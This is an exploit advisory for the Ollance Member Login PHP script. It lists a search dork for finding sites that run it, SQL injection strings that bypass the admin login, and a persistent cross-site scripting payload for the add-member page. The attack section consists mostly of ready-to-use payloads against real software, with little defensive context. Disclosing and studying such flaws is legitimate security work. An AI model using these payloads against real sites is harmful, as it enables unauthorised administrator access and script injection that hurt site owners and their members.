# Exploit Title: Ollance login script Multiple Vulnerabilities
# Vendor:  www.ollance.com
# Date: 1st july,2011
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D(karthikaryabhat@gmail.com),NITK
# Google Dork: Powered by Ollance Member Login Script

**************************************** BRIEF DESCRIPTION *****************************

Ollance Member Login is a PHP membership management system. Your clients can
access your products through client area which is protected by password. You
can easy to create and manage your clients as well as protected directories.
Ollance Member Login is your solution if you have a subscription service or
providing downloadable products or even you want to make secure system for
your members.

Ollance Member Login uses PHP and MySQL for lightning fast processing. It
comes with a control panel that enables an administrator to create new user
accounts and new secured access areas, as well as manage user accounts, send
emails to members, and more. Ollance Member Login assists administrators in
handling these features with ease.
In short, Ollance Member Login offers a quick, easy, reliable way to provide
comprehensive gate keeping for any site that meets the system requirements,
so that web visitors must be authorized before entering that sites secured
areas

*********************** (Auth ByPass) SQLi Vulnerability *********************************
{DEMO} : site.com/php-member-login/admin/login.php

EXPLOIT 1:  Username:  admin' or'1=1
                password:   admin' or'1=1

             or Username: ' or 0=0 #
                 Password: ' or 0=0 #
Observe: Attackers can use Authentication Bypass to get into Admin Panel in
the site.


Persistent XSS Vulnerability
********************************
EXPLOIT 2: Persistent XSS Vulnerability in add member in admin panel

   {Demo}:  site.com/php-member-login/admin/add_member.php?msg=
">><marquee><h1>$#4|)0\/\/</h1><marquee>

 Observe: A persistent cross-site scripting vulnerability in Ollance login
Script can be exploited to execute arbitrary JavaScript.
******************************************************************************************

sp3c14l Thanks to s1d3 effects and my friends@!3.14--
**************************************************************************